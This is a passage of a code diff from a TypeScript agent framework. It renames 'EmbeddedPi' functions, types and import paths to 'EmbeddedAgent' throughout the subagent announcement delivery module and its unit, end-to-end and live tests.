@@ -2696,7 +2696,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { path: "none", phases: [{ phase: "direct-primary", delivered: true, path: "none", error: undefined }], }); - expect(queueEmbeddedPiMessageWithOutcome).not.toHaveBeenCalled(); + expect(queueEmbeddedAgentMessageWithOutcome).not.toHaveBeenCalled(); expect(callGateway).not.toHaveBeenCalled(); expect(sendMessage).not.toHaveBeenCalled(); }); @@ -2708,11 +2708,11 @@ describe("deliverSubagentAnnouncement completion delivery", () => { }, }); const sendMessage = createSendMessageMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(true); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(true); const result = await deliverSlackChannelAnnouncement({ callGateway, sendMessage, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, sessionId: "stale-cron-run-session", isActive: false, requesterSessionKey: "agent:main:cron:daily-media:run:run-123", @@ -2739,7 +2739,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { delivered: true, path: "direct", }); - expect(queueEmbeddedPiMessageWithOutcome).not.toHaveBeenCalled(); + expect(queueEmbeddedAgentMessageWithOutcome).not.toHaveBeenCalled(); expectGatewayAgentParams(callGateway, { deliver: true, channel: "slack", @@ -2966,14 +2966,14 @@ describe("deliverSubagentAnnouncement completion delivery", () => { }, }); const sendMessage = createSendMessageMock(); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeSequenceMock([ + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeSequenceMock([ "transcript_commit_wait_unsupported", "no_active_run", ]); const result = await deliverSlackChannelAnnouncement({ callGateway, sendMessage, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, sessionId: "requester-session-channel", isActive: true, expectsCompletionMessage: true, @@ -3010,7 +3010,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { messagingToolSentTexts: ["The subagent is done."], }, }); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(false); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(false); const result = await deliverSlackChannelAnnouncement({ callGateway, sessionId: "requester-session-channel", @@ -3019,7 +3019,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { directIdempotencyKey: "announce-channel-subagent-message-tool", sourceTool: "subagent_announce", runtimeConfig: { messages: { groupChat: { visibleReplies: "message_tool" } } }, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, internalEvents: [ { type: "task_completion", @@ -3056,7 +3056,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { payloads: [{ text: "The subagent is done." }], }, }); - const queueEmbeddedPiMessageWithOutcome = createQueueOutcomeMock(false); + const queueEmbeddedAgentMessageWithOutcome = createQueueOutcomeMock(false); const result = await deliverSlackChannelAnnouncement({ callGateway, sessionId: "requester-session-channel", @@ -3065,7 +3065,7 @@ describe("deliverSubagentAnnouncement completion delivery", () => { directIdempotencyKey: "announce-channel-subagent-message-tool-missing", sourceTool: "subagent_announce", runtimeConfig: { messages: { groupChat: { visibleReplies: "message_tool" } } }, - queueEmbeddedPiMessageWithOutcome, + queueEmbeddedAgentMessageWithOutcome, internalEvents: [ { type: "task_completion", diff --git a/src/agents/subagent-announce-delivery.ts b/src/agents/subagent-announce-delivery.ts index 70eaa31056a..297ef55a22e 100644 --- a/src/agents/subagent-announce-delivery.ts +++ b/src/agents/subagent-announce-delivery.ts @@ -25,8 +25,6 @@ import { isInternalMessageChannel, normalizeMessageChannel, } from "../utils/message-channel.js"; -import { mediaUrlsFromGeneratedAttachments } from "./generated-attachments.js"; -import type { AgentInternalEvent } from "./internal-events.js"; import { collectMessagingToolDeliveredMediaUrls, getAgentCommandDeliveryFailure, @@ -34,19 +32,21 @@ import { hasDeliveredExpectedMedia, hasMessagingToolDeliveryEvidence, hasVisibleAgentPayload, -} from "./pi-embedded-runner/delivery-evidence.js"; -import type { EmbeddedPiQueueMessageOptions } from "./pi-embedded-runner/run-state.js"; -import type { EmbeddedPiQueueMessageOutcome } from "./pi-embedded-runner/runs.js"; +} from "./embedded-agent-runner/delivery-evidence.js"; +import type { EmbeddedAgentQueueMessageOptions } from "./embedded-agent-runner/run-state.js"; +import type { EmbeddedAgentQueueMessageOutcome } from "./embedded-agent-runner/runs.js"; +import { mediaUrlsFromGeneratedAttachments } from "./generated-attachments.js"; +import type { AgentInternalEvent } from "./internal-events.js"; import { callGateway, createBoundDeliveryRouter, dispatchGatewayMethodInProcess, getGlobalHookRunner, - isEmbeddedPiRunActive, + isEmbeddedAgentRunActive, getRuntimeConfig, - formatEmbeddedPiQueueFailureSummary, + formatEmbeddedAgentQueueFailureSummary, loadSessionStore, - queueEmbeddedPiMessageWithOutcomeAsync, + queueEmbeddedAgentMessageWithOutcomeAsync, resolveActiveEmbeddedRunSessionId, resolveAgentIdFromSessionKey, resolveConversationIdFromTargets, @@ -73,11 +73,11 @@ type SubagentAnnounceDeliveryDeps = { sessionId?: string; isActive: boolean; }; - queueEmbeddedPiMessageWithOutcome: ( + queueEmbeddedAgentMessageWithOutcome: ( sessionId: string, text: string, - options?: EmbeddedPiQueueMessageOptions, - ) => EmbeddedPiQueueMessageOutcome | Promise; + options?: EmbeddedAgentQueueMessageOptions, + ) => EmbeddedAgentQueueMessageOutcome | Promise; sendMessage: typeof sendMessage; }; @@ -90,22 +90,22 @@ const defaultSubagentAnnounceDeliveryDeps: SubagentAnnounceDeliveryDeps = { loadRequesterSessionEntry(requesterSessionKey).entry?.sessionId; return { sessionId, - isActive: Boolean(sessionId && isEmbeddedPiRunActive(sessionId)), + isActive: Boolean(sessionId && isEmbeddedAgentRunActive(sessionId)), }; }, - queueEmbeddedPiMessageWithOutcome: queueEmbeddedPiMessageWithOutcomeAsync, + queueEmbeddedAgentMessageWithOutcome: queueEmbeddedAgentMessageWithOutcomeAsync, sendMessage, }; let subagentAnnounceDeliveryDeps: SubagentAnnounceDeliveryDeps = defaultSubagentAnnounceDeliveryDeps; -async function resolveQueueEmbeddedPiMessageOutcome( +async function resolveQueueEmbeddedAgentMessageOutcome( sessionId: string, text: string, - options?: EmbeddedPiQueueMessageOptions, -): Promise { - return await subagentAnnounceDeliveryDeps.queueEmbeddedPiMessageWithOutcome( + options?: EmbeddedAgentQueueMessageOptions, +): Promise { + return await subagentAnnounceDeliveryDeps.queueEmbeddedAgentMessageWithOutcome( sessionId, text, options, @@ -132,9 +132,9 @@ async function runAnnounceAgentCall(params: { function formatQueueWakeFailureError( fallback: string, - outcome: EmbeddedPiQueueMessageOutcome, + outcome: EmbeddedAgentQueueMessageOutcome, ): string { - const summary = formatEmbeddedPiQueueFailureSummary(outcome); + const summary = formatEmbeddedAgentQueueFailureSummary(outcome); return summary ? `${fallback}: ${summary}` : fallback; } @@ -202,7 +202,7 @@ function resolveRequesterSessionActivity(requesterSessionKey: string) { const sessionId = entry?.sessionId; return { sessionId, - isActive: Boolean(sessionId && isEmbeddedPiRunActive(sessionId)), + isActive: Boolean(sessionId && isEmbeddedAgentRunActive(sessionId)), }; } @@ -481,13 +481,13 @@ async function maybeSteerSubagentAnnounce(params: { // Subagent announcements are internal handoffs into an active requester turn. // Queue modes such as followup/collect apply to user prompts, not this path. - const queueOptions: EmbeddedPiQueueMessageOptions = { + const queueOptions: EmbeddedAgentQueueMessageOptions = { deliveryTimeoutMs: params.deliveryTimeoutMs, steeringMode: "all", ...(queueSettings.debounceMs !== undefined ? { debounceMs: queueSettings.debounceMs } : {}), waitForTranscriptCommit: true, }; - let queueOutcome = await resolveQueueEmbeddedPiMessageOutcome( + let queueOutcome = await resolveQueueEmbeddedAgentMessageOutcome( sessionId, params.steerMessage, queueOptions, @@ -495,7 +495,7 @@ async function maybeSteerSubagentAnnounce(params: { if (!queueOutcome.queued && queueOutcome.reason === "transcript_commit_wait_unsupported") { const bestEffortQueueOptions = { ...queueOptions }; delete bestEffortQueueOptions.waitForTranscriptCommit; - queueOutcome = await resolveQueueEmbeddedPiMessageOutcome( + queueOutcome = await resolveQueueEmbeddedAgentMessageOutcome( sessionId, params.steerMessage, bestEffortQueueOptions, @@ -1001,7 +1001,7 @@ async function sendSubagentAnnounceDirectly(params: { requesterActivity.sessionId && requesterActivity.isActive ) { - const wakeOptions: EmbeddedPiQueueMessageOptions = { + const wakeOptions: EmbeddedAgentQueueMessageOptions = { deliveryTimeoutMs: announceTimeoutMs, steeringMode: "all", ...(completionSourceReplyDeliveryMode @@ -1012,7 +1012,7 @@ async function sendSubagentAnnounceDirectly(params: { : {}), waitForTranscriptCommit: true, }; - let wakeOutcome = await resolveQueueEmbeddedPiMessageOutcome( + let wakeOutcome = await resolveQueueEmbeddedAgentMessageOutcome( requesterActivity.sessionId, params.triggerMessage, wakeOptions, @@ -1020,7 +1020,7 @@ async function sendSubagentAnnounceDirectly(params: { if (!wakeOutcome.queued && wakeOutcome.reason === "transcript_commit_wait_unsupported") { const bestEffortWakeOptions = { ...wakeOptions }; delete bestEffortWakeOptions.waitForTranscriptCommit; - wakeOutcome = await resolveQueueEmbeddedPiMessageOutcome( + wakeOutcome = await resolveQueueEmbeddedAgentMessageOutcome( requesterActivity.sessionId, params.triggerMessage, bestEffortWakeOptions, diff --git a/src/agents/subagent-announce.format.e2e.test.ts b/src/agents/subagent-announce.format.e2e.test.ts index 87141604a65..e02b4c4264a 100644 --- a/src/agents/subagent-announce.format.e2e.test.ts +++ b/src/agents/subagent-announce.format.e2e.test.ts @@ -20,10 +20,11 @@ import { buildAnnounceIdFromChildRun, buildAnnounceIdempotencyKey, } from "./announce-idempotency.js"; -import * as piEmbedded from "./pi-embedded-runner/runs.js"; +import * as embeddedRuns from "./embedded-agent-runner/runs.js"; import { testing as subagentAnnounceDeliveryTesting } from "./subagent-announce-delivery.js"; import { runSubagentAnnounceDispatch } from "./subagent-announce-dispatch.js"; import { testing as subagentAnnounceOutputTesting } from "./subagent-announce-output.js"; +import * as agentStep from "./tools/agent-step.js"; type AgentCallRequest = { method?: string; @@ -126,38 +127,39 @@ const resolveStorePathSpy = vi.spyOn(configSessions, "resolveStorePath"); const resolveMainSessionKeySpy = vi.spyOn(configSessions, "resolveMainSessionKey"); const callGatewaySpy = vi.spyOn(gatewayCall, "callGateway"); const getGlobalHookRunnerSpy = vi.spyOn(hookRunnerGlobal, "getGlobalHookRunner"); -const isEmbeddedPiRunActiveSpy = vi.spyOn(piEmbedded, "isEmbeddedPiRunActive"); -const isEmbeddedPiRunStreamingSpy = vi.spyOn(piEmbedded, "isEmbeddedPiRunStreaming"); -const queueEmbeddedPiMessageWithOutcomeSpy = vi.spyOn( - piEmbedded, - "queueEmbeddedPiMessageWithOutcome", +const readLatestAssistantReplySpy = vi.spyOn(agentStep, "readLatestAssistantReply"); +const isEmbeddedAgentRunActiveSpy = vi.spyOn(embeddedRuns, "isEmbeddedAgentRunActive"); +const isEmbeddedAgentRunStreamingSpy = vi.spyOn(embeddedRuns, "isEmbeddedAgentRunStreaming"); +const queueEmbeddedAgentMessageWithOutcomeSpy = vi.spyOn( + embeddedRuns, + "queueEmbeddedAgentMessageWithOutcome", ); -const waitForEmbeddedPiRunEndSpy = vi.spyOn(piEmbedded, "waitForEmbeddedPiRunEnd"); +const waitForEmbeddedAgentRunEndSpy = vi.spyOn(embeddedRuns, "waitForEmbeddedAgentRunEnd"); const readLatestAssistantReplyMock = vi.fn( async (_sessionKey?: string): Promise => "raw subagent reply", ); -const embeddedPiRunActiveMock = vi.fn( +const embeddedAgentRunActiveMock = vi.fn( (_sessionId: string) => false, ); -const embeddedPiRunStreamingMock = vi.fn( +const embeddedAgentRunStreamingMock = vi.fn( (_sessionId: string) => false, ); -const queueEmbeddedPiMessageWithOutcomeMock = vi.fn< - typeof piEmbedded.queueEmbeddedPiMessageWithOutcome +const queueEmbeddedAgentMessageWithOutcomeMock = vi.fn< + typeof embeddedRuns.queueEmbeddedAgentMessageWithOutcome >((sessionId: string) => ({ queued: false, sessionId, reason: "not_streaming", gatewayHealth: "live", })); -const waitForEmbeddedPiRunEndMock = vi.fn( +const waitForEmbeddedAgentRunEndMock = vi.fn( async (_sessionId: string, _timeoutMs?: number) => true, ); const embeddedRunMock = { - isEmbeddedPiRunActive: embeddedPiRunActiveMock, - isEmbeddedPiRunStreaming: embeddedPiRunStreamingMock, - queueEmbeddedPiMessageWithOutcome: queueEmbeddedPiMessageWithOutcomeMock, - waitForEmbeddedPiRunEnd: waitForEmbeddedPiRunEndMock, + isEmbeddedAgentRunActive: embeddedAgentRunActiveMock, + isEmbeddedAgentRunStreaming: embeddedAgentRunStreamingMock, + queueEmbeddedAgentMessageWithOutcome: queueEmbeddedAgentMessageWithOutcomeMock, + waitForEmbeddedAgentRunEnd: waitForEmbeddedAgentRunEndMock, }; const { subagentRegistryMock } = vi.hoisted(() => ({ subagentRegistryMock: { @@ -385,11 +387,11 @@ describe("subagent announce formatting", () => { const sessionId = entry?.sessionId; return { sessionId, - isActive: Boolean(sessionId && embeddedRunMock.isEmbeddedPiRunActive(sessionId)), + isActive: Boolean(sessionId && embeddedRunMock.isEmbeddedAgentRunActive(sessionId)), }; }, - queueEmbeddedPiMessageWithOutcome: (sessionId, text, options) => - embeddedRunMock.queueEmbeddedPiMessageWithOutcome(sessionId, text, options), + queueEmbeddedAgentMessageWithOutcome: (sessionId, text, options) => + embeddedRunMock.queueEmbeddedAgentMessageWithOutcome(sessionId, text, options), }); subagentAnnounceTesting.setDepsForTest({ callGateway: async >( @@ -415,26 +417,29 @@ describe("subagent announce formatting", () => { .mockImplementation( () => hookRunnerMock as unknown as ReturnType, ); - isEmbeddedPiRunActiveSpy + readLatestAssistantReplySpy .mockReset() - .mockImplementation((sessionId) => embeddedRunMock.isEmbeddedPiRunActive(sessionId)); - isEmbeddedPiRunStreamingSpy + .mockImplementation(async (params) => await readLatestAssistantReplyMock(params?.sessionKey)); + isEmbeddedAgentRunActiveSpy .mockReset() - .mockImplementation((sessionId) => embeddedRunMock.isEmbeddedPiRunStreaming(sessionId)); - queueEmbeddedPiMessageWithOutcomeSpy + .mockImplementation((sessionId) => embeddedRunMock.isEmbeddedAgentRunActive(sessionId)); + isEmbeddedAgentRunStreamingSpy + .mockReset() + .mockImplementation((sessionId) => embeddedRunMock.isEmbeddedAgentRunStreaming(sessionId)); + queueEmbeddedAgentMessageWithOutcomeSpy .mockReset() .mockImplementation((sessionId, text, options) => - embeddedRunMock.queueEmbeddedPiMessageWithOutcome(sessionId, text, options), + embeddedRunMock.queueEmbeddedAgentMessageWithOutcome(sessionId, text, options), ); - waitForEmbeddedPiRunEndSpy + waitForEmbeddedAgentRunEndSpy .mockReset() .mockImplementation( async (sessionId, timeoutMs) => - await embeddedRunMock.waitForEmbeddedPiRunEnd(sessionId, timeoutMs), + await embeddedRunMock.waitForEmbeddedAgentRunEnd(sessionId, timeoutMs), ); - embeddedRunMock.isEmbeddedPiRunActive.mockClear().mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockClear().mockReturnValue(false); - embeddedRunMock.queueEmbeddedPiMessageWithOutcome + embeddedRunMock.isEmbeddedAgentRunActive.mockClear().mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockClear().mockReturnValue(false); + embeddedRunMock.queueEmbeddedAgentMessageWithOutcome .mockClear() .mockImplementation((sessionId) => ({ queued: false, @@ -442,7 +447,7 @@ describe("subagent announce formatting", () => { reason: "not_streaming", gatewayHealth: "live", })); - embeddedRunMock.waitForEmbeddedPiRunEnd.mockClear().mockResolvedValue(true); + embeddedRunMock.waitForEmbeddedAgentRunEnd.mockClear().mockResolvedValue(true); subagentRegistryMock.isSubagentSessionRunActive.mockClear().mockReturnValue(true); subagentRegistryMock.shouldIgnorePostCompletionAnnounceForSession .mockClear() @@ -1801,8 +1806,8 @@ describe("subagent announce formatting", () => { }); it("keeps direct announce idempotency unique for same-ms distinct child runs", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); sessionStore = { "agent:main:main": { sessionId: "session-followup", @@ -1858,8 +1863,8 @@ describe("subagent announce formatting", () => { }); it("falls back to steering when an active completion wake cannot be injected", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); sessionStore = { "agent:main:main": { sessionId: "session-collect", @@ -1886,8 +1891,8 @@ describe("subagent announce formatting", () => { }); it("falls back to internal requester-session injection when completion route is missing", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); sessionStore = { "agent:main:main": { sessionId: "requester-session-no-route", @@ -1951,8 +1956,8 @@ describe("subagent announce formatting", () => { }); it("returns failure for completion-mode when direct delivery fails and steering fallback is unavailable", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); sessionStore = { "agent:main:main": { sessionId: "session-direct-only", @@ -2075,8 +2080,8 @@ describe("subagent announce formatting", () => { }); it("keeps announce delivery inside requester subagent session", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); sessionStore = { "agent:main:subagent:orchestrator": { sessionId: "session-orchestrator", @@ -2132,8 +2137,8 @@ describe("subagent announce formatting", () => { }); it("preserves account routing for separate collect-mode announcements", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); sessionStore = { "agent:main:main": { sessionId: "session-acc-split", @@ -2187,8 +2192,8 @@ describe("subagent announce formatting", () => { expectedAccountId: "acct-987", }, ] as const)("direct announce: $testName", async (testCase) => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); const didAnnounce = await runSubagentAnnounceFlow({ childSessionKey: "agent:main:subagent:test", @@ -2210,8 +2215,8 @@ describe("subagent announce formatting", () => { }); it("keeps direct announce delivery enabled for extension channels", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); const didAnnounce = await runSubagentAnnounceFlow({ childSessionKey: "agent:main:subagent:test", @@ -2237,8 +2242,8 @@ describe("subagent announce formatting", () => { }); it("injects direct announce into requester subagent session as a user-turn agent call", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); const didAnnounce = await runSubagentAnnounceFlow({ childSessionKey: "agent:main:subagent:worker", @@ -2260,8 +2265,8 @@ describe("subagent announce formatting", () => { }); it("keeps completion-mode announce internal for nested requester subagent sessions", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); const didAnnounce = await runSubagentAnnounceFlow({ childSessionKey: "agent:main:subagent:orchestrator:subagent:worker", @@ -2288,8 +2293,8 @@ describe("subagent announce formatting", () => { }); it("retries reading subagent output when early lifecycle completion had no text", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValueOnce(true).mockReturnValue(false); - embeddedRunMock.waitForEmbeddedPiRunEnd.mockResolvedValue(true); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValueOnce(true).mockReturnValue(false); + embeddedRunMock.waitForEmbeddedAgentRunEnd.mockResolvedValue(true); readLatestAssistantReplyMock .mockResolvedValueOnce(undefined) .mockResolvedValueOnce("Read #12 complete."); @@ -2316,7 +2321,10 @@ describe("subagent announce formatting", () => { outcome: { status: "ok" }, }); - expect(embeddedRunMock.waitForEmbeddedPiRunEnd).toHaveBeenCalledWith("child-session-1", 1000); + expect(embeddedRunMock.waitForEmbeddedAgentRunEnd).toHaveBeenCalledWith( + "child-session-1", + 1000, + ); const call = getAgentCall() as { params?: { message?: string } }; expect(call?.params?.message).toContain("Read #12 complete."); expect(call?.params?.message).not.toContain("(no output)"); @@ -2988,8 +2996,8 @@ describe("subagent announce formatting", () => { for (const testCase of cases) { agentSpy.mockClear(); sendSpy.mockClear(); - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(true); - embeddedRunMock.waitForEmbeddedPiRunEnd.mockResolvedValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(true); + embeddedRunMock.waitForEmbeddedAgentRunEnd.mockResolvedValue(false); sessionStore = { "agent:main:subagent:test": { sessionId: "child-session-active", @@ -3013,8 +3021,8 @@ describe("subagent announce formatting", () => { }); it("prefers requesterOrigin channel over stale session lastChannel in direct announce", async () => { - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); // Session store has stale whatsapp channel, but the requesterOrigin says imessage. sessionStore = { "agent:main:main": { @@ -3111,8 +3119,8 @@ describe("subagent announce formatting", () => { for (const testCase of cases) { agentSpy.mockClear(); - embeddedRunMock.isEmbeddedPiRunActive.mockReturnValue(false); - embeddedRunMock.isEmbeddedPiRunStreaming.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunActive.mockReturnValue(false); + embeddedRunMock.isEmbeddedAgentRunStreaming.mockReturnValue(false); subagentRegistryMock.isSubagentSessionRunActive.mockReturnValue(false); sessionStore = testCase.sessionStoreFixture as SessionStoreFixture; subagentRegistryMock.resolveRequesterForChildSession.mockReturnValue({ diff --git a/src/agents/subagent-announce.live.test.ts b/src/agents/subagent-announce.live.test.ts index 8fe3c0f55f3..2dcf1d38feb 100644 --- a/src/agents/subagent-announce.live.test.ts +++ b/src/agents/subagent-announce.live.test.ts @@ -83,7 +83,7 @@ function liveSubagentConfig( if (providerConfig.provider === "google") { providers.google = { api: "google-generative-ai" as const, - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, baseUrl: "https://generativelanguage.googleapis.com/v1beta", apiKey: { source: "env" as const, @@ -96,7 +96,7 @@ function liveSubagentConfig( id: modelId, name: modelId, api: "google-generative-ai" as const, - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, input: ["text" as const], reasoning: true, contextWindow: 1_048_576, @@ -108,7 +108,7 @@ function liveSubagentConfig( } else { providers.openai = { api: "openai-responses" as const, - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, apiKey: { source: "env" as const, provider: "default" as const, @@ -121,7 +121,7 @@ function liveSubagentConfig( id: modelId, name: modelId, api: "openai-responses" as const, - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, input: ["text" as const], reasoning: true, contextWindow: 1_047_576, @@ -148,7 +148,7 @@ function liveSubagentConfig( defaults: { workspace, model: { primary: modelKey }, - models: { [modelKey]: { agentRuntime: { id: "pi" }, params: { maxTokens: 1024 } } }, + models: { [modelKey]: { agentRuntime: { id: "openclaw" }, params: { maxTokens: 1024 } } }, sandbox: { mode: "off" }, subagents: { allowAgents: ["*"], diff --git a/src/agents/subagent-announce.runtime.ts b/src/agents/subagent-announce.runtime.ts index 9bc2beb4ba0..5d6c81ef653 100644 --- a/src/agents/subagent-announce.runtime.ts +++ b/src/agents/subagent-announce.runtime.ts @@ -8,4 +8,7 @@ export { export { callGateway } from "../gateway/call.js"; export { readSessionMessagesAsync } from "../gateway/session-utils.fs.js"; export { dispatchGatewayMethodInProcess } from "../gateway/server-plugins.js"; -export { isEmbeddedPiRunActive, waitForEmbeddedPiRunEnd } from "./pi-embedded-runner/runs.js"; +export { + isEmbeddedAgentRunActive, + waitForEmbeddedAgentRunEnd, +} from "./embedded-agent-runner/runs.js"; diff --git a/src/agents/subagent-announce.test-support.ts b/src/agents/subagent-announce.test-support.ts index 52213191073..bc18605957b 100644 --- a/src/agents/subagent-announce.test-support.ts +++ b/src/agents/subagent-announce.test-support.ts @@ -1,8 +1,8 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { callGateway } from "../gateway/call.js"; import type { dispatchGatewayMethodInProcess } from "../gateway/server-plugins.js"; -import type { EmbeddedPiQueueMessageOptions } from "./pi-embedded-runner/run-state.js"; -import type { EmbeddedPiQueueMessageOutcome } from "./pi-embedded-runner/runs.js"; +import type { EmbeddedAgentQueueMessageOptions } from "./embedded-agent-runner/run-state.js"; +import type { EmbeddedAgentQueueMessageOutcome } from "./embedded-agent-runner/runs.js"; type DeliveryRuntimeMockOptions = { callGateway: (request: unknown) => Promise; @@ -11,12 +11,12 @@ type DeliveryRuntimeMockOptions = { resolveAgentIdFromSessionKey: (sessionKey: string) => string; resolveMainSessionKey: (cfg: unknown) => string; resolveStorePath: (store: unknown, options: unknown) => string; - isEmbeddedPiRunActive: (sessionId: string) => boolean; - queueEmbeddedPiMessageWithOutcome: ( + isEmbeddedAgentRunActive: (sessionId: string) => boolean; + queueEmbeddedAgentMessageWithOutcome: ( sessionId: string, text: string, - options?: EmbeddedPiQueueMessageOptions, - ) => EmbeddedPiQueueMessageOutcome; + options?: EmbeddedAgentQueueMessageOptions, + ) => EmbeddedAgentQueueMessageOutcome; hasHooks?: () => boolean; }; @@ -71,9 +71,9 @@ export function createSubagentAnnounceDeliveryRuntimeMock(options: DeliveryRunti resolveAgentIdFromSessionKey: options.resolveAgentIdFromSessionKey, resolveMainSessionKey: options.resolveMainSessionKey, resolveStorePath: options.resolveStorePath, - isEmbeddedPiRunActive: options.isEmbeddedPiRunActive, - queueEmbeddedPiMessageWithOutcome: options.queueEmbeddedPiMessageWithOutcome, - formatEmbeddedPiQueueFailureSummary: (outcome: { reason?: string; sessionId?: string }) => + isEmbeddedAgentRunActive: options.isEmbeddedAgentRunActive, + queueEmbeddedAgentMessageWithOutcome: options.queueEmbeddedAgentMessageWithOutcome, + formatEmbeddedAgentQueueFailureSummary: (outcome: { reason?: string; sessionId?: string }) => outcome.reason && outcome.sessionId ? `queue_message_failed reason=${outcome.reason} sessionId=${outcome.sessionId} gatewayHealth=live` : undefined, diff --git a/src/agents/subagent-announce.test.ts b/src/agents/subagent-announce.test.ts index 75e8285883d..932f4d5070f 100644 --- a/src/agents/subagent-announce.test.ts +++ b/src/agents/subagent-announce.test.ts @@ -1,5 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; -import type { EmbeddedPiQueueMessageOutcome } from "./pi-embedded-runner/runs.js"; +import type { EmbeddedAgentQueueMessageOutcome } from "./embedded-agent-runner/runs.js"; import { createSubagentAnnounceDeliveryRuntimeMock } from "./subagent-announce.test-support.js"; type AgentCallRequest = { method?: string; params?: Record }; @@ -20,16 +20,18 @@ const resolveAgentIdFromSessionKeyMock = vi.fn((sessionKey: string) => { const resolveStorePathMock = vi.fn((_store: unknown, _options: unknown) => "/tmp/sessions.json"); const resolveMainSessionKeyMock = vi.fn((_cfg: unknown) => "agent:main:main"); const readLatestAssistantReplyMock = vi.fn(async (_params?: unknown) => "raw subagent reply"); -const isEmbeddedPiRunActiveMock = vi.fn((_sessionId: string) => false); -const queueEmbeddedPiMessageWithOutcomeMock = vi.fn( - (sessionId: string, _text: string, _options?: unknown): EmbeddedPiQueueMessageOutcome => ({ +const isEmbeddedAgentRunActiveMock = vi.fn((_sessionId: string) => false); +const queueEmbeddedAgentMessageWithOutcomeMock = vi.fn( + (sessionId: string, _text: string, _options?: unknown): EmbeddedAgentQueueMessageOutcome => ({ queued: false, sessionId, reason: "not_streaming" as const, gatewayHealth: "live" as const, }), ); -const waitForEmbeddedPiRunEndMock = vi.fn(async (_sessionId: string, _timeoutMs?: number) => true); +const waitForEmbeddedAgentRunEndMock = vi.fn( + async (_sessionId: string, _timeoutMs?: number) => true, +); let mockConfig: ReturnType<(typeof import("../config/config.js"))["getRuntimeConfig"]> = { session: { mainKey: "main", @@ -57,7 +59,7 @@ vi.mock("./subagent-announce.runtime.js", () => ({ params: Record, options?: { timeoutMs?: number }, ) => callGatewayMock({ method, params, timeoutMs: options?.timeoutMs }), - isEmbeddedPiRunActive: (sessionId: string) => 